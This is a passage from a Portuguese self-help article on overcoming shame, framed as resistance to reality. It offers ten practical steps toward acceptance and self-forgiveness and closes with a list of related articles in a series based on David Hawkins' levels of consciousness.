Com isso, percebemos que a realidade acontece e, quando acontece, resistimos à ela por querer que ela “tivesse sido” diferente.

E isso é distanciamento da realidade. Afinal, a realidade é como se manifesta e não tem como ser diferente, caso contrário já seria diferente, obviamente.

Portanto, resistir à realidade traz sofrimento. Quanto maior o grau de resistência, maior o sofrimento. E o grau máximo de resistência à realidade leva o nome de vergonha.

Em suma, a vergonha é um estado onde gostaríamos de sumir, de virar um avestruz e esconder nossas cabeças na terra ou até mesmo preferir “morrer” ao invés de encarar aquela situação.

3. Vergonha é uma mentira bem contada

Se vergonha é resistência à realidade, mas acreditamos nela, significa que esse sentimento vem acompanhado de diversas justificativas argumentativas que nos convencem que devemos acreditar na vergonha e nos sentir envergonhados.

Essas justificativas são falsas, pois elas negam a realidade. Logo, o que nega a realidade é falsidade, é irrealidade, é ilusão.

Como, então, fazemos para vencer essa emoção?

Devemos aceitar a realidade como ela se manifesta ou se manifestou, sem resistência e, se possível, com gratidão.

Afinal, essa realidade é uma oportunidade de aprendizado para fazermos diferente da próxima vez. Todos os seres humanos erram. E o erro é a forma de acertarmos e nos corrigirmos. Isso é evolução.

O caminho é aprender com os erros e ser grato a eles. Quando aceitamos a realidade, partimos do princípio de humildade em reconhecer que as coisas não são como queremos que sejam, pois não temos o controle de tudo ao nosso redor.

Portanto, quando entendemos esse princípio, passamos a ver a vida com maior Graça. Com humor. E no humor não há vergonha. Ela é chata. Humor é divertido.

Mas o que significa aceitar a realidade?

Aceitar a realidade é entender que tudo ao nosso redor convergiu para que aquela determinada situação ocorresse por algum motivo, às vezes não entendida a partir das nossas percepções limitadas dos cinco sentidos e da interpretação da mente.

Partindo do principio de que “se aconteceu é porque tinha que ter acontecido”, nos livramos do peso do erro intencional ou por incapacidade.

Só nos vemos capazes de fazer diferente agora porque já experienciamos aquela situação. Seria impossível fazer diferente antes, porque senão teríamos feito. Aí está a Evolução.

Isso implica em, aprender com o erro e se permitir entender as coisas de maneira mais ampla, sem se culpar pelo passado.

Se negamos a realidade caímos em vergonha e, presos nesse sentimento denso, nada acontece. Não há aprendizado.

Então, a experiência perde sua essência e um acontecimento semelhante terá de surgir novamente. Só assim será possível despertar o nosso potencial de aprendizado que foi negligenciado na experiência anterior por não termos aprendido com o “erro”.

Assim, nos escravizamos em um círculo vicioso de sermos sempre vítimas de nossas próprias escolhas ou ausências de escolhas.

Para vencer a vergonha é necessário querer abrir mão do prazer de ser vítima. Pois a vítima tem o benefício de receber atenção daqueles que sentem dó. E receber esse amparo e carinho é agradável para o nosso ego narcisista.

Logo, ficar envergonhado e se colocar no papel de vítima tem suas recompensas: o de se tornar o centro das atenções.

Esse prazer oculto do ego precisa ser rendido e entregue, entendendo que essa atenção recebida temporariamente só faz com que nos mantenhamos no estado de vergonha até um próximo ciclo.

Ou seja, um minúsculo prazer de curto prazo que traz sofrimento no curto, médio e longo prazo e não vale a pena no contexto evolutivo.

10 passos práticos para vencer a vergonha

Na prática, assim que essa emoção surge, devemos:

  1. Separar o fato de como acreditamos que deveria ter ocorrido (nossa expectativa).
  2. Identificar o sentimento de vergonha e suas falsas justificativas e emocionalidades que tentarão te convencer que se envergonhar é o correto.
  3. Aceitar a realidade como ela É Agora.
  4. Render os prazeres de (a) se envolver com seus julgamentalismos e certezas mentais e (b) buscar atenção e afeto externo através de dó ou autopiedade.
  5. Não ser tirano consigo mesmo e “se dar bronca” por sentir vergonha, mas entender que é apenas uma natureza do ego humano e aceitar também essa natureza, sendo gentil com você mesmo. Se não, pode surgir a vergonha por sentir vergonha.
  6. Continuar observando os jogos falaciosos do ego (seu próprio e dos outros) até sair do turbilhão.
  7. Refletir sobre os aprendizados obtidos com a situação e agradecer pela oportunidade de perceber o absurdo de querer rejeitar a realidade, transformando a falsa percepção em aceitação verdadeira.
  8. Se for possível e sentir necessário, corrija o percurso através do autoperdão, perdoando ou pedindo perdão aos envolvidos e se disponha a reparar os danos ou mudar os acontecimentos.
  9. Se essa opção não for possível, apenas realize o processo de perdão acima mentalmente e continue rendendo os sentimentos de vergonha que irão surgir (e tentar te seduzir) até que a situação se acalme ou passe.
  10. Aceite a si e à Realidade como São, em todos os momentos, sem exceções, dando o seu melhor para evoluir o suficiente a cada dia alinhado aos princípios de moralidade.

Consequências positivas

Treinamentos e Mentorias sobre perdão, empatia, espiritualidade ou autoconhecimento também podem ajudar a entendermos e nos aprofundarmos em nossa natureza. Como consequência positiva, podemos nos aceitar cada dia mais para nos tornarmos pessoas e seres melhores.

Boas práticas.

Acompanhe esta série de artigos do Dr. David Hawkins listados abaixo em ordem crescente:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual